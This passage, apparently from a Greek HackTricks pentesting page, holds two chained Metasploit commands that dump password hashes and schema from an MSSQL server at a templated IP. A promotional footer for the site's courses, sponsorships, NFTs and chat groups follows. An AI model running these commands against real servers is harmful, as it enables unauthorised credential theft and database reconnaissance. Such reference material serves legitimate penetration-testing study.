msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT ; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT ; run; exit' ```
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.